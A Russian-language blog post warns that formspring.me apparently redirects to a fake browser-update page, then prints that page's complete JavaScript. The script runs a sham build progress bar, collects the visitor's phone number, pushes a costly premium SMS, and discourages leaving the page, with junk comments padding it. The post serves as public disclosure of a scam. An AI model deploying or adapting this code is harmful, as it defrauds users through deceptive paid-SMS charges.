Александр Машин (alex_mashin) wrote,
Александр Машин
alex_mashin

formspring.me

Сайт formspring.me, вероятно, взломан и перенаправляет на вредоносную страницу, предлагающую обновить браузер.

Страница, среди прочего, предлагает ввести свой номер телефона «для активации». Цель — развести на платное SMS. Для Украины приводится стоимость — 50 гривен, включая НДС.

Комментарии в коде на русском.



//UPSxHUBcvUTOnUZMWCPgpVnydbFNBLUeeUqzOkdeOuHfGrgCOIlVosVXGqxxlqWJerzarNDMAFrCxsgdIOSfnxeUMbmySMGydnRFYPJABUbXQgbraSSBwFFYORIPSsucszmVMJBibzfMljtffBAWyCCIAaXCIrTavksdvJzgSXSAwjqXnGxhHlTOnsOYuDBQdoYkUPAMIWgDhogyzsJqGeohnsYxwtmnAJdGSCxDvFWSBuJPNVxDVHAHgtOZnYXjSladhwvbccxLJdSabBMpibMKjDZToleIkYrxDPNorhXOAgqilgLxMzlQtFAKivLaWjyiRVOLkZGsuoUnBxcFpbHdHSSLnAbERlvGAoiFXXDxJQoMiMhOZTOwmGLVbUDIUGfIykdfkenwxjaxRhqmBPHfjOcALxaMbQZCpPpINUpqyRjXxdtNCGmTsJquBJqVGKUxKSPWyOpGFVDfoBkReBDIgdVKFBgdif
//edfsffvd
//UPSxHUBcvUTOnUZMWCPgpVnydbFNBLUeeUqzOkdeOuHfGrgCOIlVosVXGqxxlqWJerzarNDMAFrCxsgdIOSfnxeUMbmySMGydnRFYPJABUbXQgbraSSBwFFYORIPSsucszmVMJBibzfMljtffBAWyCCIAaXCIrTavksdvJzgSXSAwjqXnGxhHlTOnsOYuDBQdoYkUPAMIWgDhogyzsJqGeohnsYxwtmnAJdGSCxDvFWSBuJPNVxDVHAHgtOZnYXjSladhwvbccxLJdSabBMpibMKjDZToleIkYrxDPNorhXOAgqilgLxMzlQtFAKivLaWjyiRVOLkZGsuoUnBxcFpbHdHSSLnAbERlvGAoiFXXDxJQoMiMhOZTOwmGLVbUDIUGfIykdfkenwxjaxRhqmBPHfjOcALxaMbQZCpPpINUpqyRjXxdtNCGmTsJquBJqVGKUxKSPWyOpGFVDfoBkReBDIgdVKFBgdif
//rjvcsdkcdsfj
var qwrpmn=34;
// рандомный коментарий


(function(){

var phone = null;
phone=null;
// Helper function, used below.
// Usage: ['img1.jpg','img2.jpg'].remove('img1.jpg');
Array.prototype.remove = function(element) {
for (var i = 0; i < this.length; i++) {
if (this[i] == element) { this.splice(i,1); }
}
};

// Usage: $(['img1.jpg','img2.jpg']).preloadImages(function(){ ... });
// Callback function gets called after all images are preloaded
$.fn.preloadImages = function(callback1) {
checklist = this.toArray();
this.each(function() {
$('<img>').attr({ src: this }).load(function() {
checklist.remove($(this).attr('src'));
if (checklist.length == 0) { callback1(); }
});
});
};

// а вот еще рандомный комент

//custom easing function - to simulate non-linear animation
var my_easing = (function() {
var now = 0.0;
var last_t = 0;
var diff = 0;
var easing = function(p, t, b, c, d){

if (Math.random()>0.9) {
diff = (t - last_t)/d;
last_t = t;
now = now + diff;
}

return now;
}
return easing;
})();
// Снова рандом
jQuery.easing.sin90 = my_easing;
var random_var = 90;

var random_var12345 = 143;
//number was entered - activation
var activate = function(){

//!!!all activation/validation logic here!!!
function errorHandler() {
$('#spinner').hide();
if (arguments[0] && typeof(arguments[0])=='string'){
alert(arguments[0]);
} else {
alert('Ошибка при обработке запроса сервером');
}
return false;
}


var phoneInput = $('.activation input[type=\'text\'][name=\'phone\']');
phone = /\+?([0-9]{11})/.exec(phoneInput.val());
if(! phone) {
alert('Пожалуйста, введите СВОЙ номер телефона.');
return false;
}

phone = phone[1];
if (phone=='79101234567'){
alert('Пожалуйста, введите СВОЙ номер телефона.')
return false;
}

if (phone=='00000000000') {
$('.activation h3').text('На Ваш номер выслана смс с секретным паролем. Введите свой пароль для подтвержения активации.');
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);
return false;
}
$('#spinner').show();
$.ajax({
url:'/sms_api/registration',
type:'POST',
data:'phone='+phone,
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(!data.res) return errorHandler('Пожалуйста, введите СВОЙ номер телефона.');

if(data.res.redirect) {
var wnd = window.open('редирект', data.res.redirect);
}

if(data.res.prefix) {
var h3 = $('.activation h3');
var block = $('<h3>Для успешной активации требуется получить секретный код. Выберите Вашу страну:</h3>').insertBefore(h3);
var select = $('<select></select>').appendTo(block);
for(var i in data.res.countries) {
var country = data.res.countries[i];
if (!country || !country.phone) continue;
if (country.name == data.res.country) {
$('<option selected="selected" value="&#39;+country.phone+&#39;">'+(country.name_rus || country.name)+'</option>').appendTo(select);
}
else {
$('<option value="&#39;+country.phone+&#39;">'+(country.name_rus || country.name)+'</option>').appendTo(select);
}
}


var ofert = function(){
if(!data.res.ofert) return '';
return select.val() == 4640
? 'Для Абонентов всех национальных GSM Операторов Украины стоимость отправки смс на номер 4640 составляет 50 гривен с учетом НДС.'
: 'Для получения доступа необходимо отправить 1 смс. <a href="http://www.a1agregator.ru/main/abonent/4846/7781" target="_blank">Точная стоимость смс.</a>';
}

var text = $('<h3>И отправьте текст '+data.res.prefix+' на номер <span id="send_num">'+data.res.phone+'</span></h3>').insertBefore(h3);
$('<h3 style="font-size: 9px;" id="ofert">'+ofert()+'</h3>').appendTo('.activation');
$('Введите свой код подтвержения активации, полученный в ответном смс.').appendTo(text);
h3.text('');

select.change(function(){
$('#send_num').text($(this).val());
$('#ofert').text(ofert());
});
}
else {
$('.activation h3').text('На Ваш номер выслана смс с секретным паролем. Введите свой пароль для подтвержения активации.');
}
$('.activation .help').text('Формат ввода: 1234');
phoneInput.val('');
$('.activation .submit')
.unbind('click')
.bind('click', confirmation);

//alert('OK');
}
});
// Оптьярандом
var sdvfds = 34216;
function confirmation() {

if (phone=='00000000000' && phoneInput.val()=='1234!') {
//Hfyljv
alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
// рандом
var code = /^\d+$/.exec(phoneInput.val());
if (!code){
alert('Вам нужно ввести пароль, который получен вами в СМС.')
return false;
}
$('#spinner').show();
var dfdgf=345;
$.ajax({
url: '/sms_api/confirm',
type: 'POST',
data: 'phone='+phone+'&code='+phoneInput.val(),
error: errorHandler,
success: function(data) {
$('#spinner').hide();
if(data.res != 0) return errorHandler('Неверный пароль. Вы должны ввести пароль, который получен вами в СМС.');

alert('Програмное обеспечение успешно активировано');
window.onbeforeunload = null;
switch (document.browser_name) {
case 'Firefox':
top.location.href='http://www.mozilla.org/ru/download/?product=firefox-12.0&os=win&lang=ru';
break;
case 'Chrome':
top.location.href='https://www.google.com/chrome/eula.html?hl=ru';
break;
case 'IE':
top.location.href='http://windows.microsoft.com/en-US/internet-explorer/downloads/ie-9/worldwide-languages';
break;
case 'Opera':
top.location.href='http://www.opera.com/download/get.pl?id=34630&thanks=true&sub=true';
break;
default:
top.location.href='https://www.google.com/chrome/';
break;
}
return false;
}
});
return false;
}

return false;

}

//show activation page
var showActivation = function(){
$('.build.hide').hide(0);
$('.activation').show(0);
$('.activation .submit').click(activate);
}

// этот код рандомен
var dsa8cfs=8774;
//finish build process
var endBuild = function() {
$('.build .items').text('Выполнено 100%');
if ($('.build .submit').is('.unhide') && false ) {
$('.build .submit').click(showActivation).removeClass('inactive').find('.download-title').text('Активировать');

} else {
$('.build .submit').hide();
showActivation();
}
}

//start build process
var startBuild = function() {
$('.versions, .alarm table, .hide').not('.unhide').hide(0);
$('.build').show(0);
var i=0;
$('.progress > .bar').animate(
{
width: '539px'
},
{
easing: 'sin90',
duration: parseInt(5+Math.random()*15)*1000,
complete: endBuild,
step: function() {
var file_list = document.file_list[document.browser_name] || document.file_list['generic'];
if (i==(file_list.length-1)) {
i=0;
}
//$('.build .items').text('Выполнено ' + parseInt(100*parseFloat($('.progress > .bar').css('width'))/539.0) +'%');
if(Math.random() > 0.9) {
$('.build .items').text(file_list[i++]);
}
}
}
);
}
// всем привет

var init_all = function(){
//$('a.submit').append("<span id="spinner" style="display: none; position: absolute; right: 15px; top: 15px;"></span>");
var opts = {
lines: 11, // The number of lines to draw
length: 4, // The length of each line
width: 2, // The line thickness
radius: 6, // The radius of the inner circle
rotate: 1, // The rotation offset
color: '#005', // #rgb or #rrggbb
speed: 1.5, // Rounds per second
trail: 10, // Afterglow percentage
shadow: false, // Whether to render a shadow
hwaccel: false, // Whether to use hardware acceleration
className: 'spinner', // The CSS class to assign to the spinner
zIndex: 2e9, // The z-index (defaults to 2000000000)
top: 'auto', // Top position relative to parent in px
left: 'auto' // Left position relative to parent in px
};
new Spinner(opts).spin(document.getElementById('spinner'));

$(document).pngFix();
$('body, .left, .smaller, .red, #logo, #top, h1, h2, h3, help, label, td, img, a, .items, .help, .download-title').attr('unselectable','on');
$('a.submit, .download-title').css('cursor', 'pointer');
$('.versions .content .submit').click(startBuild);
//alert('Внимание! Ваша версия браузера является неисправной!\nНеобходимо обновить вашу версию бразуера!');
$("#hider").hide();
}

$(document).ready(function() {
if (navigator.appName == 'Microsoft Internet Explorer') {
init_all();
} else {
$((preloaded_images||window.preloaded_images)).preloadImages(init_all);
}
});
if (!document.unload || document.unload=='/'){
window.onbeforeunload = function(){return "Внимание, обновление не завершено! Вы уверены что хотите покинуть эту страницу?";}
}

})();

//HAHA PEOPLE@
//это все на сегодня ребятушки
//cfsvcfsvdf
//UPSYoFZvqdAcQeNBixGOUxdfDShpSjCMgciCcqLGUkMMfNnRLeghfTPzYHiPvFHGZFywpSTWOpQFZEIMkDEKGnPSeEECoKQgkMCUXViaYKfqmvFWgKozRlezEDPDUDzADRPXgObAsweVfGPFRmUYslYWGkpVpwGmPHGyxiFltWnDMFXcVZYgLZbAoNOPZtPJrYaojteWApWuuWAQKBPrreNqXGxKniOplJNwZsbRbJVBAHldxxnAQzHhkKCGtzTktDIswLSFlykRmPqOZzSaHRHjcKRgIBKXJpXTrnhxsypLaDJUGnTJHgQMGesSrMhyCTTwXdExzVoULBWUFtGBTyiTmpXprHPMdLUdHEcOcdwTbucufxfTpwEGwgCXQDAMLuMYyRHVGchtMoESRWKFKOpdPpkDNrQxPHabmXfdgeldWKKMdDAhzzozWFnDUnMmKltGgblVASueUZDDebJPDJQUiluCueWoTdqkTeQdwFfPbtWTkghPKyCKpRWuVUIOAgIlQouPhNzIhAMeJbXBfbjYKIFNTnRlbeSIEEISvWFMIFIytPiIJKIMRkfrClYkwzvwRZgoZeOuSuVkEuLqxcaUMbzZYnvvTIzBPFqKWJLLMWehZOegovVZrGMcNzaAhUorcQbCFevKjQKNNjxxKZOGQMegqIeNhZiNGctTYwIntgjLwoPbbtHxOukPHnDiOkbLmqRliElPwxbUMPofShRjeBAjzIaqjZpxqWChDWtqFgrSvcJBpSVIqEZeTvmsqrJzCxYUzUrQoNQlDTIslHasBebQrIWjVMYvJRVTeegdprkcupoGCPUiwsF
//efswfe
//UPSZEHtFVjeAEuRFLOoOphpGFFBJHENojPiemdNVeAgNapvtBbGxHLRgmfQgExbvHBnOxHAZUnJeWKsDLaaCqAwXcjXdKNaNwRGRVEJLfGJpFMtgqFPhNLKdLDLGGTpDMoncQaEEEAVKSjBHZlOdaDJlPbuUydfNMFCGprjXOkKyNwimoDVUFwdrKRyofieVVBXezRoHOYoariLkNEcYhcPhhfQFsAIwyaUtmpirCBWDUMIkfjaVqhKXHOVpIkzpuYIxAJUwJMOpczaDAlqJgbHkVSDQqCgOfFHjKsnyduLZazbMrOwkVYVwDYqTSnWzvkAKAwWVVziZGPsvemVtUOuswgGeelLuwOjhxZaLUPydlnREvSbGHPREywYHgOoLW



UPD: Отбой, кажется, починили. Возможно, formspring.me был слишком неразборчив в размещении рекламы.
Tags: ИТ, Текущее
Subscribe

  • Богуславский

    Имя «Диоклетиан» можно перевести как «Богуславский».

  • Si vis pacem, para bellum

    У любой хорошей поговорки есть два значения. Очевидное всем значение афоризма «Хочешь мира — готовься к войне» — «будь хорошо вооружённым, чтобы на…

  • Инверсия

    Забавно, что в англоязычных ресторанах и магазинах слово patron значит клиент.

  • Post a new comment

    Error

    default userpic

    Your IP address will be recorded 

    When you submit the form an invisible reCAPTCHA check will be performed.
    You must follow the Privacy Policy and Google Terms of use.
  • 6 comments